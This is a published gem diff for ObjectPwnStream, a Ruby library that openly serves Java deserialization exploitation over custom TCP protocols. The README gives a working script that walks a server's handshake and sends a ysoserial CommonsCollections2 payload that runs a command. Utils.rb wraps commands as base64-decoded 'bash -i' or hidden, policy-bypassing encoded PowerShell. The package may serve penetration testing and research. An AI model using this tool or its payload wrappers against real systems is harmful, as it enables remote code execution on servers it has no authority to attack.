ObjectPwnStream 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +13 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/Gemfile +6 -0
- data/LICENSE.txt +21 -0
- data/ObjectPwnStream.gemspec +37 -0
- data/README.md +119 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/lib/ObjectPwnStream/Constants.rb +30 -0
- data/lib/ObjectPwnStream/Errors.rb +25 -0
- data/lib/ObjectPwnStream/ObjectInputStream.rb +114 -0
- data/lib/ObjectPwnStream/ObjectOutputStream.rb +120 -0
- data/lib/ObjectPwnStream/PwnStream.rb +53 -0
- data/lib/ObjectPwnStream/Utils.rb +22 -0
- data/lib/ObjectPwnStream.rb +5 -0
- metadata +104 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: b905811964d789180cbff26100f1b58c98d1988c6f087eba194d7d16ddcc235c
|
4
|
+
data.tar.gz: 225bc15214b8c5f87fb4af9b3798b727d6d2c75874f74d49499255c63cb0d587
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 75441eb2eef3c5e70153b983982fa4d00df0e4889b66bbccd332f0a18928c94bf3c944b7ac5ad5eb4e98ae185b44a33665c25926b0437dee2711436e65486daa
|
7
|
+
data.tar.gz: a3e607e834726bb96a97966a7755029447246b80dfae18ff0417c24db6752cc677190d497408ace2f484bd5c13f077b121fe9eab865aab16b61ad972cd1bfce3
|
data/.gitignore
ADDED
data/.rspec
ADDED
data/.travis.yml
ADDED
data/Gemfile
ADDED
data/LICENSE.txt
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2022 hakivvi
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in
|
13
|
+
all copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
+
THE SOFTWARE.
|
@@ -0,0 +1,37 @@
|
|
1
|
+
# coding: utf-8
|
2
|
+
require_relative 'lib/ObjectPwnStream'
|
3
|
+
lib = File.expand_path("../lib", __FILE__)
|
4
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
5
|
+
|
6
|
+
|
7
|
+
Gem::Specification.new do |spec|
|
8
|
+
spec.name = "ObjectPwnStream"
|
9
|
+
spec.version = ObjectPwnStream::VERSION
|
10
|
+
spec.authors = "hakivvi"
|
11
|
+
spec.email = "hakivvi@gmail.com"
|
12
|
+
|
13
|
+
spec.summary = %q{a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease JAVA deserialization exploitation.}
|
14
|
+
spec.description = %q{a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream, to ease the process of Java deserialization exploitation on custom TCP based network protocols.}
|
15
|
+
spec.homepage = "https://github.com/hakivvi/ObjectPwnStream"
|
16
|
+
spec.license = "MIT"
|
17
|
+
|
18
|
+
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
|
19
|
+
# to allow pushing to a single host or delete this section to allow pushing to any host.
|
20
|
+
# if spec.respond_to?(:metadata)
|
21
|
+
# spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
|
22
|
+
# else
|
23
|
+
# raise "RubyGems 2.0 or newer is required to protect against " \
|
24
|
+
# "public gem pushes."
|
25
|
+
# end
|
26
|
+
|
27
|
+
spec.files = `git ls-files -z`.split("\x0").reject do |f|
|
28
|
+
f.match(%r{^(test|spec|features)/})
|
29
|
+
end
|
30
|
+
spec.bindir = "exe"
|
31
|
+
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
|
32
|
+
spec.require_paths = ["lib"]
|
33
|
+
|
34
|
+
spec.add_development_dependency "bundler"
|
35
|
+
spec.add_development_dependency "rake", "~> 10.0"
|
36
|
+
spec.add_development_dependency "rspec", "~> 3.0"
|
37
|
+
end
|
data/README.md
ADDED
@@ -0,0 +1,119 @@
|
|
1
|
+
<<<<<<< HEAD
|
2
|
+
# ObjectPwnStream
|
3
|
+
|
4
|
+
a Ruby implementation of Java's `ObjectInputStream` and `ObjectOutputStream`, to ease the process of Java deserialization exploitation on custom TCP based network protocols.
|
5
|
+
|
6
|
+
## Installation
|
7
|
+
|
8
|
+
Add this line to your application's Gemfile:
|
9
|
+
|
10
|
+
```ruby
|
11
|
+
gem 'ObjectPwnStream'
|
12
|
+
```
|
13
|
+
|
14
|
+
And then execute:
|
15
|
+
|
16
|
+
$ bundle
|
17
|
+
|
18
|
+
Or install it yourself as:
|
19
|
+
|
20
|
+
$ gem install ObjectPwnStream
|
21
|
+
|
22
|
+
Or install it from main branch:
|
23
|
+
|
24
|
+
$ git clone https://github.com/hakivvi/ObjectPwnStream
|
25
|
+
$ cd ObjectPwnStream
|
26
|
+
$ bundle install && bundle exec rake install
|
27
|
+
## Usage
|
28
|
+
the library provides a set of methods to mimic the methods of both `ObjectInputStream` and `ObjectOutputStream`,
|
29
|
+
|
30
|
+
the `readObject()` method is not always the first function run on a TCP socket, so you can't just feed the server with your serialized payload or else `java.io.StreamCorruptedException` will be thrown by the server.
|
31
|
+
|
32
|
+
take this toy server for example, which does read and write a bunch of types before actually calling `readObject()` which the attacker is usually interested in:
|
33
|
+
```java
|
34
|
+
s = serverSock.accept();
|
35
|
+
System.out.println("[+] Connection accepted from " + s.getInetAddress().getHostAddress() + ":" + s.getPort());
|
36
|
+
|
37
|
+
oos = new ObjectOutputStream(s.getOutputStream());
|
38
|
+
ois = new ObjectInputStream(s.getInputStream());
|
39
|
+
|
40
|
+
oos.writeInt(serverVersion);
|
41
|
+
oos.flush();
|
42
|
+
System.out.printf("[>] writeInt(): 0x%x\n", serverVersion);
|
43
|
+
|
44
|
+
System.out.printf("[<] readInt(): 0x%x\n", ois.readInt());
|
45
|
+
|
46
|
+
oos.writeUTF(serverName);
|
47
|
+
oos.flush();
|
48
|
+
System.out.printf("[>] writeUTF(): %s\n", serverName);
|
49
|
+
|
50
|
+
System.out.printf("[<] readUTF(): %s\n", ois.readUTF());
|
51
|
+
|
52
|
+
|
53
|
+
oos.writeShort(0xabcd);
|
54
|
+
oos.flush();
|
55
|
+
System.out.printf("[>] writeShort(): 0x%x\n", 0xabcd);
|
56
|
+
|
57
|
+
System.out.printf("[<] readShort(): 0x%x\n", ois.readShort());
|
58
|
+
|
59
|
+
oos.writeLong(-12345);
|
60
|
+
oos.flush();
|
61
|
+
System.out.printf("[>] writeLong(): %d\n", -12345);
|
62
|
+
|
63
|
+
System.out.printf("[<] readLong(): %d\n", ois.readLong());
|
64
|
+
|
65
|
+
|
66
|
+
oos.writeObject(new ToyServer());
|
67
|
+
oos.flush();
|
68
|
+
System.out.println("[>] writeObject()");
|
69
|
+
|
70
|
+
System.out.println("[<] readObject()");
|
71
|
+
try {
|
72
|
+
ois.readObject();
|
73
|
+
} catch (Throwable e) {}
|
74
|
+
```
|
75
|
+
to reach the `readObject()` method in this server connection, we should read and write successively `int`, `utf`, `short` etc.
|
76
|
+
using `ObjectPwnStream` library, we can do just that:
|
77
|
+
```ruby
|
78
|
+
require 'ObjectPwnStream'
|
79
|
+
|
80
|
+
pwnStream = ObjectPwnStream::PwnStream.new("127.0.0.1", 9090)
|
81
|
+
pwnStream.connect!
|
82
|
+
pwnStream.open_streams!
|
83
|
+
pwnStream.read_int
|
84
|
+
pwnStream.write_int 0x1337
|
85
|
+
pwnStream.read_utf
|
86
|
+
pwnStream.write_utf "ObjectPwnStream"
|
87
|
+
pwnStream.read_short
|
88
|
+
pwnStream.write_short 0xabcd
|
89
|
+
pwnStream.read_long signed=true
|
90
|
+
pwnStream.write_long -12345
|
91
|
+
pwnStream.read_object
|
92
|
+
pwnStream.ysoserial_generate!("./ysoserial.jar", "CommonsCollections2", "gnome-calculator", encode: true, windows: false)
|
93
|
+
pwnStream.write_object(ysoserial: true)
|
94
|
+
```
|
95
|
+
## Development
|
96
|
+
|
97
|
+
After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
|
98
|
+
|
99
|
+
To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
|
100
|
+
|
101
|
+
## Contributing
|
102
|
+
|
103
|
+
Bug reports and pull requests are welcome on GitHub at https://github.com/hakivvi/ObjectPwnStream. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.
|
104
|
+
|
105
|
+
## License
|
106
|
+
|
107
|
+
The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).
|
108
|
+
|
109
|
+
## Code of Conduct
|
110
|
+
|
111
|
+
Everyone interacting in the ObjectPwnStream project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/[USERNAME]/ObjectPwnStream/blob/master/CODE_OF_CONDUCT.md).
|
112
|
+
|
113
|
+
## Todo
|
114
|
+
|
115
|
+
- document all the functions.
|
116
|
+
- support CLI mode.
|
117
|
+
=======
|
118
|
+
# ObjectPwnStream
|
119
|
+
>>>>>>> 722378df4eaf6880483a7235cdda15036bd64adb
|
data/Rakefile
ADDED
data/bin/console
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
require "bundler/setup"
|
4
|
+
require "ObjectPwnStream"
|
5
|
+
|
6
|
+
# You can add fixtures and/or initialization code here to make experimenting
|
7
|
+
# with your gem easier. You can also use a different console, if you like.
|
8
|
+
|
9
|
+
# (If you use this, don't forget to add pry to your Gemfile!)
|
10
|
+
# require "pry"
|
11
|
+
# Pry.start
|
12
|
+
|
13
|
+
require "irb"
|
14
|
+
IRB.start(__FILE__)
|
data/bin/setup
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
module ObjectPwnStream
|
2
|
+
module Constants
|
3
|
+
STREAM_MAGIC = 0xaced
|
4
|
+
STREAM_VERSION = 5
|
5
|
+
TC_NULL = 0x70
|
6
|
+
TC_REFERENCE = 0x71
|
7
|
+
TC_CLASSDESC = 0x72
|
8
|
+
TC_OBJECT = 0x73
|
9
|
+
TC_STRING = 0x74
|
10
|
+
TC_ARRAY = 0x75
|
11
|
+
TC_CLASS = 0x76
|
12
|
+
TC_BLOCKDATA = 0x77
|
13
|
+
TC_ENDBLOCKDATA = 0x78
|
14
|
+
TC_RESET = 0x79
|
15
|
+
TC_BLOCKDATALONG = 0x7A
|
16
|
+
TC_EXCEPTION = 0x7B
|
17
|
+
TC_LONGSTRING = 0x7C
|
18
|
+
TC_PROXYCLASSDESC = 0x7D
|
19
|
+
TC_ENUM = 0x7E
|
20
|
+
BASE_WIRE_HANDLE = 0x7E0000
|
21
|
+
|
22
|
+
module Flags
|
23
|
+
SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE
|
24
|
+
SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE
|
25
|
+
SC_SERIALIZABLE = 0x02
|
26
|
+
SC_EXTERNALIZABLE = 0x04
|
27
|
+
SC_ENUM = 0x10
|
28
|
+
end
|
29
|
+
end
|
30
|
+
end
|
@@ -0,0 +1,25 @@
|
|
1
|
+
module ObjectPwnStream
|
2
|
+
module Errors
|
3
|
+
class StreamHeaderError < StandardError
|
4
|
+
def message()="received an invalid stream header from the server."
|
5
|
+
end
|
6
|
+
|
7
|
+
class InvalidStreamReset < StandardError
|
8
|
+
def message()="received an invalid reset sequence from the server."
|
9
|
+
end
|
10
|
+
|
11
|
+
class PayloadStreamHeaderError < StandardError
|
12
|
+
def message()="the provided serialized payload has an invalid stream header."
|
13
|
+
end
|
14
|
+
|
15
|
+
class YsoserialGenerateError < StandardError
|
16
|
+
def initialize(cmd)
|
17
|
+
super("Ysoserial returned an empty string, make sure the arguments are correct.\n\tthis command was run: #{cmd}")
|
18
|
+
end
|
19
|
+
end
|
20
|
+
|
21
|
+
class YsoserialPayloadCorruptedError < StandardError
|
22
|
+
def message()="the payload returned by Ysoserial is corrupted."
|
23
|
+
end
|
24
|
+
end
|
25
|
+
end
|
@@ -0,0 +1,114 @@
|
|
1
|
+
require_relative 'Constants'
|
2
|
+
require_relative 'Errors'
|
3
|
+
|
4
|
+
module ObjectPwnStream
|
5
|
+
module ObjectInputStream
|
6
|
+
include Constants
|
7
|
+
include Errors
|
8
|
+
|
9
|
+
def open_input_stream
|
10
|
+
check_stream_header(read_stream_header)
|
11
|
+
end
|
12
|
+
|
13
|
+
def read_int(signed=false)
|
14
|
+
_, length = read_block_header
|
15
|
+
template = (signed ? "l>" : "L>")
|
16
|
+
@socket.read(length).unpack(template)[0]
|
17
|
+
# to_signed(hex.to_i(16))
|
18
|
+
end
|
19
|
+
|
20
|
+
def read_short(signed=false)
|
21
|
+
_, length = read_block_header
|
22
|
+
template = (signed ? "s>" : "S>")
|
23
|
+
@socket.read(length).unpack(template)[0]
|
24
|
+
end
|
25
|
+
|
26
|
+
def read_char
|
27
|
+
[read_short].pack("U")
|
28
|
+
end
|
29
|
+
|
30
|
+
def read_chars
|
31
|
+
_, length = read_block_header
|
32
|
+
@socket.read(length).unpack("S>*").pack("U*")
|
33
|
+
end
|
34
|
+
|
35
|
+
def read_byte
|
36
|
+
read_block_header
|
37
|
+
@socket.getbyte
|
38
|
+
end
|
39
|
+
|
40
|
+
def read_bytes
|
41
|
+
_, length = read_block_header
|
42
|
+
@socket.read(length).unpack("C*")
|
43
|
+
end
|
44
|
+
|
45
|
+
def read_utf
|
46
|
+
_, block_length = read_block_header
|
47
|
+
length = @socket.read(2).unpack("S>")[0]
|
48
|
+
@socket.read(length).unpack("U*").pack("U*")
|
49
|
+
end
|
50
|
+
|
51
|
+
def read_boolean
|
52
|
+
read_block_header
|
53
|
+
bool = @socket.getbyte
|
54
|
+
bool != 0
|
55
|
+
end
|
56
|
+
|
57
|
+
def handle_reset
|
58
|
+
check_stream_reset(@socket.getbyte)
|
59
|
+
end
|
60
|
+
|
61
|
+
def read_float
|
62
|
+
_, length = read_block_header
|
63
|
+
@socket.read(length).unpack("g")[0]
|
64
|
+
end
|
65
|
+
|
66
|
+
def read_double
|
67
|
+
_, length = read_block_header
|
68
|
+
@socket.read(length).unpack("G")[0]
|
69
|
+
end
|
70
|
+
|
71
|
+
def read_long(signed=false)
|
72
|
+
_, length = read_block_header
|
73
|
+
template = signed ? "q>" : "Q>"
|
74
|
+
@socket.read(length).unpack(template)[0]
|
75
|
+
end
|
76
|
+
|
77
|
+
def read_object
|
78
|
+
bytes = [@socket.getbyte]
|
79
|
+
while @socket.ready?
|
80
|
+
bytes << @socket.getbyte
|
81
|
+
end
|
82
|
+
bytes.pack("C*")
|
83
|
+
end
|
84
|
+
|
85
|
+
private
|
86
|
+
def read_stream_header
|
87
|
+
@socket.read(4).unpack("S>S>")
|
88
|
+
end
|
89
|
+
|
90
|
+
def read_block_header
|
91
|
+
block = @socket.getbyte
|
92
|
+
if block.eql?(Constants::TC_BLOCKDATA)
|
93
|
+
length = @socket.getbyte
|
94
|
+
elsif block.eql?(Constants::TC_BLOCKDATALONG)
|
95
|
+
length = @socket.read(4).unpack("I>")[0]
|
96
|
+
end
|
97
|
+
[block, length]
|
98
|
+
end
|
99
|
+
|
100
|
+
def check_stream_header(header, provided=nil)
|
101
|
+
unless header.first.eql?(Constants::STREAM_MAGIC) && header.last.eql?(Constants::STREAM_VERSION)
|
102
|
+
raise provided.nil? ? Errors::StreamHeaderError : !provided ? Errors::YsoserialPayloadCorruptedError : Errors::PayloadStreamHeaderError
|
103
|
+
end
|
104
|
+
end
|
105
|
+
|
106
|
+
def check_stream_reset(reset)
|
107
|
+
unless reset.eql?(Constants::TC_RESET)
|
108
|
+
raise Errors::InvalidStreamReset
|
109
|
+
end
|
110
|
+
end
|
111
|
+
|
112
|
+
module_function(:check_stream_header)
|
113
|
+
end
|
114
|
+
end
|
@@ -0,0 +1,120 @@
|
|
1
|
+
require_relative 'Constants'
|
2
|
+
require_relative 'ObjectInputStream'
|
3
|
+
require_relative 'PwnStream'
|
4
|
+
|
5
|
+
module ObjectPwnStream
|
6
|
+
module ObjectOutputStream
|
7
|
+
include Constants
|
8
|
+
|
9
|
+
def open_output_stream
|
10
|
+
write_stream_header(*[Constants::STREAM_MAGIC, Constants::STREAM_VERSION])
|
11
|
+
end
|
12
|
+
|
13
|
+
def write_int(v, signed=false)
|
14
|
+
length = 4
|
15
|
+
write_block_header(Constants::TC_BLOCKDATA, length)
|
16
|
+
template = (signed ? "l>" : "L>")
|
17
|
+
@socket.write([v].pack(template))
|
18
|
+
@socket.flush
|
19
|
+
end
|
20
|
+
|
21
|
+
def write_short(v, signed=false)
|
22
|
+
v &= 0xFFFF
|
23
|
+
length = 2
|
24
|
+
write_block_header(Constants::TC_BLOCKDATA, length)
|
25
|
+
template = (signed ? "s>" : "S>")
|
26
|
+
@socket.write([v].pack(template))
|
27
|
+
@socket.flush
|
28
|
+
end
|
29
|
+
|
30
|
+
def write_char(char)
|
31
|
+
write_short(char.unpack("U")[0])
|
32
|
+
end
|
33
|
+
|
34
|
+
def write_chars(str)
|
35
|
+
conv = Encoding::Converter.new("utf-8", "utf-16")
|
36
|
+
data = conv.convert(str)
|
37
|
+
write_block_header(Constants::TC_BLOCKDATA, data.bytesize)
|
38
|
+
@socket.write(data)
|
39
|
+
@socket.flush
|
40
|
+
end
|
41
|
+
|
42
|
+
def write_byte(byte)
|
43
|
+
write_block_header(Constants::TC_BLOCKDATA, 0x1)
|
44
|
+
@socket.putc(byte)
|
45
|
+
@socket.flush
|
46
|
+
end
|
47
|
+
|
48
|
+
def write_bytes(bytes)
|
49
|
+
write_block_header(Constants::TC_BLOCKDATA, bytes.size)
|
50
|
+
bytes.each {@socket.putc(_1)}
|
51
|
+
@socket.flush
|
52
|
+
end
|
53
|
+
|
54
|
+
def write_utf(str)
|
55
|
+
utf_size = str.bytesize
|
56
|
+
write_block_header(Constants::TC_BLOCKDATA, utf_size+2)
|
57
|
+
@socket.write([utf_size].pack("S>"))
|
58
|
+
@socket.write(str)
|
59
|
+
@socket.flush
|
60
|
+
|
61
|
+
end
|
62
|
+
|
63
|
+
def write_boolean(bool)
|
64
|
+
write_block_header(Constants::TC_BLOCKDATA, 1)
|
65
|
+
@socket.putc(bool ? 0x1 : 0x0)
|
66
|
+
@socket.flush
|
67
|
+
end
|
68
|
+
|
69
|
+
def write_float(float)
|
70
|
+
write_block_header(Constants::TC_BLOCKDATA, 4)
|
71
|
+
@socket.write([float].pack("g"))
|
72
|
+
@socket.flush
|
73
|
+
end
|
74
|
+
|
75
|
+
def write_double(double)
|
76
|
+
write_block_header(Constants::TC_BLOCKDATA, 8)
|
77
|
+
@socket.write([double].pack("G"))
|
78
|
+
@socket.flush
|
79
|
+
end
|
80
|
+
|
81
|
+
def write_long(long, signed=false)
|
82
|
+
write_block_header(Constants::TC_BLOCKDATA, 8)
|
83
|
+
template = signed ? "q>" : "Q>"
|
84
|
+
@socket.write([long].pack(template))
|
85
|
+
@socket.flush
|
86
|
+
end
|
87
|
+
|
88
|
+
def reset!
|
89
|
+
@socket.putc(Constants::TC_RESET)
|
90
|
+
@socket.flush
|
91
|
+
end
|
92
|
+
|
93
|
+
def write_object(payload_path: nil, payload: nil, ysoserial: false)
|
94
|
+
if ysoserial
|
95
|
+
@socket.write(@payload)
|
96
|
+
@socket.flush
|
97
|
+
elsif payload
|
98
|
+
ObjectInputStream.check_stream_header(payload[...4].unpack("S>*"), provided: true)
|
99
|
+
@socket.write(payload[4..])
|
100
|
+
@socket.flush
|
101
|
+
elsif payload_path
|
102
|
+
pf = File.open(payload_path, "rb")
|
103
|
+
ObjectInputStream.check_stream_header(pf.read(4).unpack("S>*"), provided: true)
|
104
|
+
@socket.write(pf.read(pf.size-4))
|
105
|
+
@socket.flush
|
106
|
+
end
|
107
|
+
end
|
108
|
+
|
109
|
+
private
|
110
|
+
def write_stream_header(block, version)
|
111
|
+
@socket.write([block, version].pack("S>S>"))
|
112
|
+
@socket.flush
|
113
|
+
end
|
114
|
+
|
115
|
+
def write_block_header(block, length)
|
116
|
+
@socket.write([block, length].pack("CC"))
|
117
|
+
@socket.flush
|
118
|
+
end
|
119
|
+
end
|
120
|
+
end
|
@@ -0,0 +1,53 @@
|
|
1
|
+
require 'socket'
|
2
|
+
require 'open3'
|
3
|
+
require_relative 'ObjectInputStream'
|
4
|
+
require_relative 'ObjectOutputStream'
|
5
|
+
require_relative 'Utils'
|
6
|
+
|
7
|
+
module ObjectPwnStream
|
8
|
+
class PwnStream
|
9
|
+
@host = nil
|
10
|
+
@port = nil
|
11
|
+
@socket = nil
|
12
|
+
@payload = nil
|
13
|
+
|
14
|
+
include ObjectOutputStream
|
15
|
+
include ObjectInputStream
|
16
|
+
attr_reader :socket
|
17
|
+
def initialize(host, port, connect=false)
|
18
|
+
@host = host
|
19
|
+
@port = port.to_i
|
20
|
+
connect! if connect
|
21
|
+
end
|
22
|
+
|
23
|
+
def connect!
|
24
|
+
@socket ||= TCPSocket.open(@host, @port)
|
25
|
+
end
|
26
|
+
|
27
|
+
def close!
|
28
|
+
@socket.flush
|
29
|
+
@socket.close
|
30
|
+
@socket = nil
|
31
|
+
end
|
32
|
+
|
33
|
+
def ysoserial_generate!(ysoserial_path, gadget, cmd, java_path: nil, encode: false, windows: false)
|
34
|
+
cmd = Utils.exec_encode(cmd, windows) if encode
|
35
|
+
ycmd = "#{java_path && '"'}#{java_path || 'java'}#{java_path && '"'} -jar \"#{ysoserial_path}\" #{gadget} \"#{cmd}\""
|
36
|
+
stdout = Open3.capture3(ycmd, :binmode => true)[0]
|
37
|
+
if stdout.empty?
|
38
|
+
raise Errors::YsoserialGenerateError.new(ycmd)
|
39
|
+
else
|
40
|
+
ObjectInputStream.check_stream_header(stdout[...4].unpack("S>*"), provided=false)
|
41
|
+
@payload = stdout[4..]
|
42
|
+
end
|
43
|
+
end
|
44
|
+
|
45
|
+
alias_method :open_input_stream!, :open_input_stream
|
46
|
+
alias_method :open_output_stream!, :open_output_stream
|
47
|
+
def open_streams!
|
48
|
+
@socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
|
49
|
+
open_input_stream
|
50
|
+
open_output_stream
|
51
|
+
end
|
52
|
+
end
|
53
|
+
end
|
@@ -0,0 +1,22 @@
|
|
1
|
+
module ObjectPwnStream
|
2
|
+
module Utils
|
3
|
+
def to_signed(hex)
|
4
|
+
# from: https://www.ruby-forum.com/t/question-about-hex-signed-int/125510/4
|
5
|
+
int = (hex.to_i(16) if hex.is_a? String) || hex
|
6
|
+
length = 32
|
7
|
+
mid = 2**(length-1)
|
8
|
+
max_unsigned = 2**length
|
9
|
+
(int>=mid) ? int - max_unsigned : int
|
10
|
+
end
|
11
|
+
|
12
|
+
def exec_encode(cmd, windows=false)
|
13
|
+
!windows ?
|
14
|
+
"bash -c {echo,#{[cmd].pack('m0')}}|{base64,-d}|{bash,-i}"
|
15
|
+
:
|
16
|
+
"powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc #{[cmd.chars.zip([[0].pack("C")]*cmd.length)*""].pack("m0")}"
|
17
|
+
end
|
18
|
+
|
19
|
+
module_function :exec_encode
|
20
|
+
module_function :to_signed
|
21
|
+
end
|
22
|
+
end
|
metadata
ADDED
@@ -0,0 +1,104 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: ObjectPwnStream
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- hakivvi
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2022-05-28 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: bundler
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - ">="
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '0'
|
20
|
+
type: :development
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - ">="
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '0'
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: rake
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '10.0'
|
34
|
+
type: :development
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - "~>"
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '10.0'
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: rspec
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - "~>"
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: '3.0'
|
48
|
+
type: :development
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - "~>"
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: '3.0'
|
55
|
+
description: a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream,
|
56
|
+
to ease the process of Java deserialization exploitation on custom TCP based network
|
57
|
+
protocols.
|
58
|
+
email: hakivvi@gmail.com
|
59
|
+
executables: []
|
60
|
+
extensions: []
|
61
|
+
extra_rdoc_files: []
|
62
|
+
files:
|
63
|
+
- ".gitignore"
|
64
|
+
- ".rspec"
|
65
|
+
- ".travis.yml"
|
66
|
+
- Gemfile
|
67
|
+
- LICENSE.txt
|
68
|
+
- ObjectPwnStream.gemspec
|
69
|
+
- README.md
|
70
|
+
- Rakefile
|
71
|
+
- bin/console
|
72
|
+
- bin/setup
|
73
|
+
- lib/ObjectPwnStream.rb
|
74
|
+
- lib/ObjectPwnStream/Constants.rb
|
75
|
+
- lib/ObjectPwnStream/Errors.rb
|
76
|
+
- lib/ObjectPwnStream/ObjectInputStream.rb
|
77
|
+
- lib/ObjectPwnStream/ObjectOutputStream.rb
|
78
|
+
- lib/ObjectPwnStream/PwnStream.rb
|
79
|
+
- lib/ObjectPwnStream/Utils.rb
|
80
|
+
homepage: https://github.com/hakivvi/ObjectPwnStream
|
81
|
+
licenses:
|
82
|
+
- MIT
|
83
|
+
metadata: {}
|
84
|
+
post_install_message:
|
85
|
+
rdoc_options: []
|
86
|
+
require_paths:
|
87
|
+
- lib
|
88
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
89
|
+
requirements:
|
90
|
+
- - ">="
|
91
|
+
- !ruby/object:Gem::Version
|
92
|
+
version: '0'
|
93
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
94
|
+
requirements:
|
95
|
+
- - ">="
|
96
|
+
- !ruby/object:Gem::Version
|
97
|
+
version: '0'
|
98
|
+
requirements: []
|
99
|
+
rubygems_version: 3.3.6
|
100
|
+
signing_key:
|
101
|
+
specification_version: 4
|
102
|
+
summary: a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease
|
103
|
+
JAVA deserialization exploitation.
|
104
|
+
test_files: []
|